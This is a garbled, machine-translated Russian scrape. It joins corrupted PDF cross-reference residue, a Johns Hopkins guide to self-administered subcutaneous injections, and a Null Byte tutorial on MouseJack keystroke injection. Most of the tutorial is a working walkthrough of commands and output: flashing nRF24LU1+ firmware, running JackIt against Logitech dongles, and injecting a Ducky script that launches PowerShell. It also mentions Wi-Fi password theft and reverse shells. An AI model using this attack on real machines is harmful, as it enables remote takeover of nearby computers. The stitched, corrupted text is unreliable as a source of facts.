0000117976 00000 н.
0000122428 00000 н.
0000122559 00000 н.
0000122690 00000 н.
0000122752 00000 н.
0000122814 00000 н.
0000122876 00000 н.
0000123072 00000 н.
0000123255 00000 н.
0000123454 00000 н.
0000123645 00000 н.
0000123854 00000 н.
0000123911 00000 н.
0000123973 00000 н.
0000124240 00000 н.
0000124473 00000 н.
0000124539 00000 н.
0000124605 00000 н.
0000124823 00000 н.
0000125028 00000 н.
0000125090 00000 н.
0000125156 00000 н.
0000125349 00000 н.
0000125540 00000 н.
0000125733 00000 н.
0000125924 00000 н.
0000126117 00000 н.
0000126310 00000 н.
0000126501 00000 н.
0000126692 00000 н.
0000126885 00000 н.
0000127287 00000 н.
0000127384 00000 н.
0000127577 00000 н.
0000127969 00000 н.
0000128066 00000 н.
0000128259 00000 н.
0000129225 00000 н.
0000130304 00000 н.
0000130646 00000 н.
0000131570 00000 н.
0000131897 00000 н.
0000132096 00000 н.
0000132295 00000 н.
0000132493 00000 н.
0000132678 00000 н.
0000132863 00000 н.
0000133045 00000 н.
0000133277 00000 н.
0000133460 00000 н.
0000134402 00000 н.
0000135333 00000 п.
0000135511 00000 н.
0000135711 00000 н.
0000135911 00000 н.
0000136226 00000 н.
0000136532 00000 н.
0000137593 00000 н.
0000137912 00000 н.
0000138221 00000 н.
0000138530 00000 н.
0000138866 00000 н.
0000139066 00000 н.
0000139266 00000 н.
0000139501 00000 н.
0000140471 00000 н.
0000140654 00000 н.
0000141622 00000 н.
0000142588 00000 н.
0000143546 00000 н.
0000144512 00000 н.
0000145477 00000 н.
0000146440 00000 н.
0000147378 00000 п.
0000148315 00000 н.
0000149033 00000 н.
0000149592 00000 н.
0000149791 00000 н.
0000004216 00000 н.
трейлер
] / Назад 1436036 >>
startxref
0
%% EOF

421 0 объект
> поток
hTmLSW> (E (LK) ڹ RZ: V jUA͊c ~ 5ZJ
AFiu8% 1 [ˇ! ~ 1uLTqfh {

Как сделать подкожную инъекцию по артриту Джонса Хопкинса

Перед инъекцией

  1. Некоторые лекарства, такие как Кинерет ® и Энбрел ® , необходимо вводить инъекционно.Эти лекарства поставляются с набором и устройством для введения лекарства. Однако некоторые пациенты предпочитают не использовать набор, а делать инъекцию самостоятельно; очень похоже на инъекцию инсулина.
  2. Если лекарство хранится в холодильнике, извлеките флаконы из холодильника за 30 минут до приема, чтобы оно могло достичь комнатной температуры.
  3. Выберите чистую и сухую рабочую зону.
  4. Соберите свои принадлежности:
    — Лекарства
    — Стерильная вода
    — Стерильные одноразовые иглы и шприцы
    — Спиртовые тампоны или ватные шарики и бутылка медицинского спирта
    — Контейнер для утилизации, устойчивый к проколам *
    — Bandaids
  5. Тщательно вымойте руки перед приготовлением лекарства.

* СОВЕТ Емкостью может быть банка для кофе или герметичный закрывающийся кувшин для молока. Узнайте, как правильно утилизировать биологические отходы в вашем районе.

Подготовка инъекции

Ваш врач и / или медсестра / медбрат проинструктируют вас, как приготовить конкретную дозу лекарства.

Делая себе укол

Выберите место инъекции. Это должна быть область со слоем жира между кожей и мышцами. Это называется подкожным.Подкожные слои имеют следующие части вашего тела:

  • внешняя поверхность плеча
  • бедра
  • ягодицы
  • Живот, кроме пупка или талии
  1. Если вы очень худой, не используйте живот в качестве места инъекции.
  2. Не используйте каждый раз одно и то же место для инъекций.
  3. Регулярно меняйте места уколов. Вы должны находиться на расстоянии не менее 1 ½ дюйма от места последней инъекции.Запишите в своем календаре, где вы делали последний снимок. Это поможет избежать слишком раннего укола в одном и том же месте.
  4. Выберите место и очистите его (около 2 дюймов) свежим спиртовым тампоном или ватным тампоном, смоченным спиртом.
  5. Подождите, пока участок высохнет.
  6. Снимите колпачок иглы.
  7. Зажмите 2-дюймовую складку кожи между большим и указательным пальцами.
  8. Держите шприц так же, как карандаш или дротик. Вставьте иглу под углом от 45 до 90 градусов к защемленной коже.Игла должна быть полностью закрыта кожей. Если вы сделаете это быстро, вы почувствуете очень небольшой дискомфорт.
  9. Держите шприц одной рукой. Другой оттяните поршень, чтобы проверить наличие крови. Если вы видите кровь в растворе в шприце, не вводите. Вытащите иглу и начните снова с нового места.
  10. Если вы не видите кровь , медленно нажмите на поршень, чтобы ввести лекарство. Полностью нажмите на поршень.
  11. Выньте иглу из кожи и аккуратно поднесите спиртовую салфетку к месту укола.Не тереть.
  12. При кровотечении наложите повязку.
  13. Немедленно поместите шприц и иглу в контейнер для утилизации *.

Как вводить нажатия клавиш в клавиатуры Logitech с помощью трансивера nRF24LU1 + «Null Byte :: WonderHowTo

Уязвимости MouseJack были обнаружены более трех лет назад. Некоторые производители беспроводных клавиатур с тех пор выпустили обновления прошивки, но миллионы (если не миллиарды) клавиатур по всему миру остаются без исправлений либо потому, что они не могут быть обновлены, либо потому, что производитель никогда не удосужился их выпустить.

По словам Бастилии, «MouseJack — это класс уязвимостей, поражающий подавляющее большинство беспроводных клавиатур и мышей, не поддерживающих Bluetooth». Под руководством Марка Ньюлина MouseJack использует готовность USB-ключа (показанного ниже) принимать незашифрованные нажатия клавиш от окружающих устройств.

Изображение tokyoneon / Null Byte

Тем не менее, концепция отслеживания нажатия клавиш и инъекции была впервые обнародована Торстеном Шредером и Максом Мозером в 2010 году. Позже Трэвис Гудспид опубликовал «Беспорядочные связи — это обязанность nRF24L01 +», которая расширила возможности дуэта. Работа.В 2015 году Сами Камкар представил KeySweeper, настенное USB-зарядное устройство на базе Arduino, предназначенное для пассивного прослушивания и регистрации нажатий клавиш на клавиатурах Microsoft.

Марк обнаружил, что беспроводные мыши и клавиатуры производства AmazonBasics, Dell, Gigabyte, HP, Lenovo, Logitech и Microsoft подвержены множеству уязвимостей MouseJack. Злоумышленник с устройством Crazyradio PA (nRF24LU1 +) может вводить нажатия клавиш в большинство этих USB-ключей, а также прослушивать нажатия клавиш и выполнять атаки типа «отказ в обслуживании».В конечном итоге это позволяет злоумышленнику взломать компьютер и удаленно управлять им с расстояния до 250 футов.

Купить адаптер Crazyradio PA Long-Range USB Radio: Amazon | Bitcraze

Crazyradio PA USB-радиоустройство на основе nRF24LU1 + Nordic Semiconductor. Image by tokyoneon / Null Byte

Чтобы следовать приведенному ниже руководству, вам понадобится беспроводной приемопередатчик nRF24LU1 +, такой как Crazyradio PA или что-то подобное.

Шаг 1. Прошивка микропрограммы

Чтобы начать работу, новое оборудование nRF24LU1 + должно быть прошито специальной прошивкой для сканирования уязвимых устройств и ввода нажатий клавиш.Во-первых, убедитесь, что индекс пакета Kali APT обновлен:

  ~ $ apt-get update  

Для выполнения скриптов Python, используемых для сборки и автоматизации процесса перепрограммирования, требуются некоторые зависимости. Используйте приведенную ниже команду apt-get , чтобы убедиться, что Git, Python и другие необходимые пакеты установлены и обновлены.

  ~ $ apt-get install sdcc binutils python python-pip git

Чтение списков пакетов ... Готово
Построение дерева зависимостей
Чтение информации о состоянии... Выполнено
python - это уже самая новая версия (2.7.16-1).
python-pip - это уже самая новая версия (18.1-5).
Следующие пакеты были установлены автоматически и больше не требуются:
  libpython3.6-минимальный libpython3.6-stdlib python3.6 python3.6-минимальный
Используйте sudo apt autoremove, чтобы удалить их.
Будут установлены следующие дополнительные пакеты:
  binutils-common binutils-x86-64-linux-gnu gputils gputils-common gputils-doc libbinutils sdcc-doc sdcc-библиотеки
Предлагаемые пакеты:
  binutils-doc sdcc-ucsim
Будут установлены следующие НОВЫЕ пакеты:
  gputils gputils-common gputils-doc sdcc sdcc-doc sdcc-библиотеки
Следующие пакеты будут обновлены:
  binutils binutils-common binutils-x86-64-linux-gnu libbinutils
4 обновленных, 6 вновь установленных, 0 для удаления и 108 не обновленных.Необходимо получить 9868 КБ архивов.
После этой операции будет использовано 63,7 МБ дополнительного дискового пространства.
Вы хотите продолжить? [Y / n]  

Версия PIP, доступная в репозитории Kali, может быть немного устаревшей. Обновите его с помощью следующей команды.

  ~ $ pip install --upgrade pip

Сбор пипса
  Скачивание https://files.pythonhosted.org/packages/f9/fb/863012b13912709c13cf5cfdbfb304fa6c727659d62

e1a88df9d848/pip-19.1-py2.py3-none-any.whl (1,4 МБ) 100% | ████████████████████████████████ | 1.4 МБ 114 кБ / с Установка собранных пакетов: pip Найдена существующая установка: pip 18.1 Не удаляется pip в /usr/lib/python2.7/dist-packages, вне среды / usr Не удается удалить "pip". Не найдено файлов для удаления. Успешно установлен pip-19.1

Необходимо установить дополнительные зависимости с помощью PIP. Используйте опцию -I при установке пакета PyUSB, модуля доступа Python USB.

  ~ $ pip install --upgrade -I pyusb

УСТАРЕНИЕ: Python 2.7 истечет 1 января 2020 года. Обновите Python, так как Python 2.7 не будет поддерживаться после этой даты. В будущей версии pip будет прекращена поддержка Python 2.7.
Сбор пюсб
  Скачивание https://files.pythonhosted.org/packages/5f/34/2095e821c01225377dda4ebdbd53d8316d6abb243c9bee43d3888fa91dd6/pyusb-1.0.2.tar.gz (54 КБ)
     | ████████████████████████████████ | 61 КБ 82 КБ / с
Строительные колеса для собранных пакетов: pyusb
  Строим колесо для pyusb (setup.py) ... готово
  Хранится в каталоге: / root /.кеш / пип / колеса / 1f / a9 / 7e / d189b5030ee3a56f9b72c28281bb11d661b8ea312e28de08a5
Успешно построенный pyusb
Установка собранных пакетов: pyusb
Успешно установлен pyusb-1.0.2  

И, наконец, установите последний пакет PlatformIO, экосистему с открытым исходным кодом для разработки IoT.

  ~ $ pip install --upgrade platformio

Сбор platformio
  Скачивание https://files.pythonhosted.org/packages/fe/01/69aa7d8ef8cd74493338396ff86dc1bbfe85ae58b77fc705924c920a38eb/platformio-3.6.7-py27-none-any.whl (161 КБ)
     | ████████████████████████████████ | 163 КБ 92 КБ / с
Сбор pyserial! = 3.3, <4,> = 3 (из platformio)
  Скачивание https://files.pythonhosted.org/packages/0d/e4/2a744dd9e3be04a0c0

4e2a01a7c88bb3915cbe3c8cc06e209f59c30/pyserial-3.4-py2.py3-none-any.whl (193kB) | ████████████████████████████████ | 194 КБ 179 КБ / с Требование уже выполнено, обновление не выполняется: запросы <3,> = 2.4.0 в /usr/lib/python2.7/dist-packages (из platformio) (2.21.0) Сбор click <6,> = 5 (от platformio) Скачивание https: // файлов.pythonhosted.org/packages/8f/98/14966b6d772fd5fba1eb3bb34a62a7f736d609572493397cdc5715c14514/click-5.1-py2.py3-none-any.whl (65 КБ) | ████████████████████████████████ | 71 КБ 188 КБ / с Требование уже выполнено, обновление не выполняется: colorama в /usr/lib/python2.7/dist-packages (из platformio) (0.3.7) Бутылка для сбора <0,13 (от platformio) Скачивание https://files.pythonhosted.org/packages/32/4e/ed046324d5ec980c252987c1dca191e001b9f06ceffaebf037eef469937c/bottle-0.12.16.tar.gz (72 КБ) | ████████████████████████████████ | 81 КБ 153 КБ / с Сбор семантической версии <3,> = 2.5.0 (от platformio) Скачивание https://files.pythonhosted.org/packages/72/83/f76958017f3094b072d8e3a72d25c3ed65f754cc607fdb6a7b33d84ab1d5/semantic_version-2.6.0.tar.gz Строительные колеса для собранных пакетов: бутылка, семантическая версия Строительное колесо для бутылки (setup.py) ... готово Хранится в каталоге: /root/.cache/pip/wheels/0c/68/ac/1546dcb27101ca6c4e50c5b5da92dbd3307f07cda5d88e81c7 Строительное колесо для семантической версии (setup.py) ... готово Хранится в каталоге: /root/.cache/pip/wheels/60/bb/50/215d669d31f992767f5dd8d3c974e79261707ee7f898f0dc10 Успешно построенная семантическая версия бутылки Установка собранных пакетов: pyserial, click, bottle, semantic-version, platformio Обнаружена существующая установка: нажмите 7.0 Удаление Click-7.0: Click-7.0 успешно удален Успешно установлена ​​bottle-0.12.16 click-5.1 platformio-3.6.7 pyserial-3.4 semantic-version-2.6.0

Шаг 2. Клонируйте репозиторий MouseJack

Клонируйте репозиторий сценариев MouseJack на GitHub в каталог / opt .

  ~ $ git clone https://github.com/BastilleResearch/mousejack / opt / mousejack

Клонирование в '/ opt / mousejack' ...
remote: Перебор объектов: 285, готово.
удаленный: всего 285 (дельта 0), повторно используется 0 (дельта 0), повторно используется пакет 285
Получение предметов: 100% (285/285), 8.63 МиБ | 353.00 КБ / с, готово.
Разрешение дельт: 100% (131/131), выполнено.  

Перейдите в новый каталог mousejack /.

  ~ $ cd / opt / mousejack /  

Используйте параметры подмодуля init для инициализации локального файла конфигурации для nrf-research-firmware . Это прошивка, которая загружается на устройство nRF24LU1 +.

  / opt / mousejack $ git submodule init

Подмодуль nrf-research-firmware (https://github.com/BastilleResearch/nrf-research-firmware.git), зарегистрированный для пути 'nrf-research-firmware'  

Затем используйте параметры обновления подмодуля , чтобы получить все данные и проверить соответствующий перечисленный коммит.

  / opt / mousejack $ git обновление подмодуля

Клонирование в '/ opt / mousejack / nrf-research-firmware' ...
Путь к подмодулю 'nrf-research-firmware': проверено '02b84d1c4e59c0fb98263c83b2e7c7f9863a3b93'  

Перейдите в каталог nrf-research-firmware /.

  / opt / mousejack $ cd nrf-research-firmware /  

Используйте команду make для выполнения команд в Makefile.

  / nrf-research-firmware $ make

mkdir -p bin
sdcc --model-large --std-c99 -c src / main.c -o bin / main.rel
sdcc --model-large --std-c99 -c src / usb.c -o bin / usb.rel
sdcc --model-large --std-c99 -c src / usb_desc.c -o bin / usb_desc.rel
sdcc --model-large --std-c99 -c src / radio.c -o bin / radio.rel
sdcc --xram-loc 0x8000 --xram-size 2048 --model-large bin / main.rel bin / usb.rel bin / usb_desc.rel bin / radio.rel -o bin / dongle.ihx
objcopy -I ihex bin / dongle.ihx -O binary bin / dongle.bin
objcopy --pad-to 26622 --gap-fill 255 -I ihex bin / dongle.ihx -O двоичный bin / dongle.formatted.bin
objcopy -I binary bin / dongle.formatted.bin -O ihex bin / dongle.formatted.ihx  

На этом этапе устройство nRF24LU1 + должно быть вставлено в компьютер. Затем выполните команду make install .

  / nrf-research-firmware $ make install

./prog/usb-flasher/usb-flash.py bin / dongle.bin
[2019-04-25 23: 55: 44.351] Ищете совместимое устройство, которое может использовать скандинавский загрузчик
[2019-04-25 23: 55: 44.378] Устройство обнаружено, выполняется переход к загрузчику Nordic
[2019-04-25 23:55:44.969] Ищу устройство с загрузчиком Nordic.
[2019-04-25 23: 55: 45.171] Запись изображения во флэш-память
[2019-04-25 23: 55: 45.808] Проверка записи
[2019-04-25 23: 55: 45.867] Программирование микропрограммы успешно завершено
[2019-04-25 23: 55: 45.867] Отключите аппаратный ключ или коммутационную плату и вставьте снова.  

В соответствии с инструкциями отключите nRF24LU1 + от компьютера. Чтобы проверить, была ли прошита прошивка, снова подключите устройство nRF24LU1 + к компьютеру и используйте команду dmesg .Строки продукта и производства должны быть соответственно «Research Firmware» и «RFStorm».

  / nrf-research-прошивка $ dmesg

[2433.986481] usb 2-1: новое полноскоростное USB-устройство номер 3 с использованием xhci_hcd
[2434.136930] usb 2-1: найдено новое USB-устройство, idVendor = 1915, idProduct = 0102, bcdDevice = 0.01
[2434.136938] usb 2-1: строки нового USB-устройства: Mfr = 1, Product = 2, SerialNumber = 0
[2434.136942] usb 2-1: Продукт: Исследовательская прошивка
[2434.136946] usb 2-1: Производитель: RFStorm  

Шаг 3: Клонирование репозитория JackIt

После настройки устройства nRF24LU1 + теперь можно сканировать окружающее пространство на предмет наличия беспроводных мышей и клавиатур.В репозиторий MouseJack есть несколько отличных сценариев Python, но вместо этого мы будем использовать сценарий JackIt для автоматизации инъекции нажатия клавиш.

Созданный phikshun и infamy, JackIt — это инструмент автоматизации, предназначенный для использования скриптов USB Rubber Ducky для ввода нажатий клавиш в уязвимые устройства.

Начните с загрузки репозитория JackIt.

  ~ $ git clone https://github.com/insecurityofthings/jackit.git / opt / jackit

Клонирование в / opt / jackit ...
remote: Перебор объектов: 718, готово.удаленный: всего 718 (дельта 0), повторно используется 0 (дельта 0), повторно используется пакет 718
Прием объектов: 100% (718/718), 171.39 Кбайт | 153.00 Кбайт / с, готово.
Разрешение дельт: 100% (439/439), готово.  

Перейдите в новый каталог jackit /.

  ~ $ cd / opt / jackit /  

Список содержимого каталога.

  / opt / jackit $ ls -la

всего 48
drwxr-xr-x 6 root root 4096 26 апр, 22:25.
drwxr-xr-x 6 root root 4096 26 апр, 22:25 ..
drwxr-xr-x 2 root root 4096 26 апр 22:25 bin
drwxr-xr-x 2 root root 4096 26 апр 22:25 примеры
drwxr-xr-x 8 root root 4096 26 апр, 22:25.мерзавец
-rw-r - r-- 1 root root 1072 26 апр, 22:25 .gitignore
drwxr-xr-x 5 root root 4096 26 апр 22:25 jackit
-rw-r - r-- 1 root root 4743 26 апр, 22:25 README.md
-rw-r - r-- 1 root root 52 26 апр 22:25 requirements.txt
-rwxr-xr-x 1 root root 594 26 апреля 22:25 setup.py
-rw-r - r-- 1 root root 289 26 апреля 22:25 tox.ini  

Мы найдем файл «requirements.txt». Это указывает на то, что есть несколько зависимостей, которые следует установить с помощью PIP. На этом настройка.

  / opt / jackit $ pip install -e.Получение файла: /// opt / jackit
Требование уже выполнено: нажмите == 5.1 в /usr/local/lib/python2.7/dist-packages (из JackIt == 0.1.0) (5.1)
Сбор pyusb == 1.0.0 (от JackIt == 0.1.0)
  Скачивание https://files.pythonhosted.org/packages/8a/19/66fb48a4905e472f5dfeda3a1bafac369fbf6d6fc5cf55b780864962652d/PyUSB-1.0.0.tar.gz (52kB)
     | ████████████████████████████████ | 61 КБ 81 КБ / с
Сбор шести == 1.10.0 (из JackIt == 0.1.0)
  Скачивание https://files.pythonhosted.org/packages/c8/0a/b6723e1bc4c516cb687841499455a8505b44607ab535be01091c0f24f079/six-1.10.0-py2.py3-none-any.whl
Сбор табулята == 0.7.5 (из JackIt == 0.1.0)
  Скачивание https://files.pythonhosted.org/packages/db/40/6ffc855c365769c454591ac30a25e9ea0b3e8c952a1259141f5b9878bd3d/tabulate-0.7.5.tar.gz
Строительные колеса для собранных пакетов: pyusb, tabulate
  Строим колесо для pyusb (setup.py) ... готово
  Хранится в каталоге: /root/.cache/pip/wheels/a6/69/c7/258e736ee9bdb4553bd9701424b259436b979cf96201af612f
  Строительное колесо для табуляции (setup.py) ... готово
  Хранится в каталоге: / root /.кеш / точка / колеса / 96 / 9c / 9a / 369b6376b11523584a6040a89488c28f0f88cb52167dceb648
Успешно построенная таблица pyusb
Установка собранных пакетов: pyusb, six, tabulate, JackIt
  Нашел существующую установку: pyusb 1.0.2
    Удаление pyusb-1.0.2:
      Pyusb-1.0.2 успешно удален
  Найдено существующей установки: шесть 1.12.0
    Удаление six-1.12.0:
      Six-1.12.0 успешно удален
  Запуск setup.py develop для JackIt
Успешно установлен JackIt pyusb-1.0.0 six-1.10.0 tabulate-0.7.5  

Шаг 4. Нападение на беспроводные клавиатуры и мыши

Просканируйте окрестности на наличие уязвимых устройств, просто набрав jackit на любом терминале.

  ~ $ jackit

     ____. __ .___ __
    | | ____ ____ | | _ | | / | _
    | \ __ \ _ / ___ \ | | / / \ __ \
/ \ __ | | / __ \\ \ ___ | <| || |
\ ________ (____ / \ ___> __ | _ \ ___ || __ |
              \ / \ / \ /
JackIt Версия 1.00
Создано phikshun, infamy

[!] Вы должны предоставить утиный скрипт с помощью --script 
[!] Атаки отключены.[+] Запуск сканирования ...

[+] Сканирование каждые 5 секунд CTRL-C по готовности.

  КЛЮЧЕВЫЕ АДРЕСНЫЕ КАНАЛЫ КОЛИЧЕСТВО ПРОСМОТРЕННЫХ ПАКЕТОВ
----- -------------- ------------------------ ------- ----------- ------------ --------------------------- -
    1 C7: D4: 21: 98: 07 74 3 0:00:07 назад Logitech HID 00: C2: 00: 00: 03: 10: 00: 00: 00: 2B  

JackIt будет постоянно сканировать область на предмет наличия беспроводной связи. мыши и клавиатуры. Уязвимое устройство идентифицирует свой адрес (серийный номер), канал и тип в терминале.Эта информация может быть использована для целевой атаки. Например, приведенная ниже полезная нагрузка USB Rubber Ducky может использоваться для открытия окна запуска и ввода нажатий клавиш на целевой компьютер.

  GUI r
ЗАДЕРЖКА 1000
STRING powershell <полезная нагрузка здесь>
ENTER  

Чтобы использовать сценарий USB Rubber Ducky с JackIt, используйте следующую команду.

  ~ $ jackit --reset --адрес C7: D4: 21: 98: 07 - поставщик Logitech --script /path/to/ducky/script.txt  

Нажмите Ctrl + c to остановить сканирование.JackIt спросит, по какому адресу вводить нажатия клавиш. Это целенаправленная атака, поэтому при сканировании будет отображаться только один серийный номер. Нажмите 1 , затем нажмите Введите .

  [+] Обнюхивание для C7: D4: 21: 98: 07 каждые 5 секунд CTRL-C, когда готово. C

[+] Выберите целевые ключи (1–1) через запятую или «все»: [все]: 1
[+] Успешный пинг на 65 канале
[+] Отправка атаки на C7: D4: 21: 98: 07 [Logitech HID] на 65 канале

[+] Все атаки завершены  

При вводе нажатий клавиш устройство выполнит следующие команды.

Ducky Script откроет окно запуска и напечатает произвольный текст. Более сложные атаки PowerShell могут включать в себя кражу пароля Wi-Fi, прямую трансляцию рабочего стола Windows 10 и обратные оболочки Powercat с полезными нагрузками, размещенными на серверах Microsoft.

Последние мысли

В дикой природе все еще так много уязвимых мышей и клавиатур. С тех пор, как в 2016 году Марк и Бастиль выпустили официальный документ MouseJack, некоторые поставщики выпустили обновления прошивки для продуктов, не использующих одноразовую программируемую память (PROM).Тем не менее, большинство уязвимых USB-ключей не могут быть исправлены из-за аппаратных ограничений. Даже если они исправлены, например, с некоторыми устройствами Logitech, которые обновляются вручную, они все равно могут быть уязвимы для атак. Другие поставщики продвигают обновления прошивки в будущем, но это не означает, что эти устройства безопасны, в результате чего неизвестное количество уязвимых продуктов все еще используется во всем мире.

Спасибо за чтение! Если у вас есть какие-либо вопросы, вы можете оставить здесь комментарий или написать мне в Twitter @tokyoneon_.

Не пропустите: беспроводные мыши и клавиатуры, затронутые MouseJack, которые были и не были обновлены

Хотите начать зарабатывать деньги как хакер в белой шляпе? Начните свою профессиональную карьеру хакера с помощью нашего комплекта обучения премиум-сертификату по этическому хакерству 2020 года из нового магазина Null Byte и получите более 60 часов обучения от профессионалов в области этического хакерства.

Купить сейчас (90% скидка)>

Обложка и GIF от tokyoneon / Null Byte
.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *